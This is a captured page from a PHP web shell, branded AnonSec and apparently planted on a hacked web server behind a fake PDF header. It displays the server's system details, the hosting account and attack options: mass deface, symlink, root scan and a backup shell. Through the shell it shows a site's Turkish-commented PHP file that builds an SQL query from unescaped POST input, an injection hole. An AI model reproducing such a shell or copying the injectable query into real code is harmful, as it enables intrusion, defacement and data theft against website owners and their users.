%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.24   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/www/search_product_id.php
<?php
// Bağlantı dosyasını dahil edin
include 'lib/connection1.php';

// POST isteğinden gelen varyasyon adını alın
$variationName = $_POST['variation_name'];

// Varyasyon adına göre ürün ID'sini bulmak için sorguyu hazırlayın
$sql = "SELECT id FROM tbl_product WHERE title_tr = '$variationName'";

// Sorguyu veritabanında çalıştırın
$result = $ceha->query($sql);

// Sorgu sonucunu kontrol edin
if ($result) {
    // İlk satırı alın (eğer varsa)
    $row = $result->fetch_assoc();
    
    // Ürün ID'sini alın
    $productId = $row['id'];

    // JSON formatında yanıt oluşturun
    $response = ['product_id' => $productId];

    // JSON yanıtını gönderin
    header('Content-Type: application/json');
    echo json_encode($response);
} else { 
    // Sorgu başarısız olduysa hata yanıtı gönderin
    $response = ['error' => 'Ürün ID bulunamadı'];
    header('Content-Type: application/json');
    http_response_code(500);
    echo json_encode($response);
}
?>

Anon7 - 2022
AnonSec Team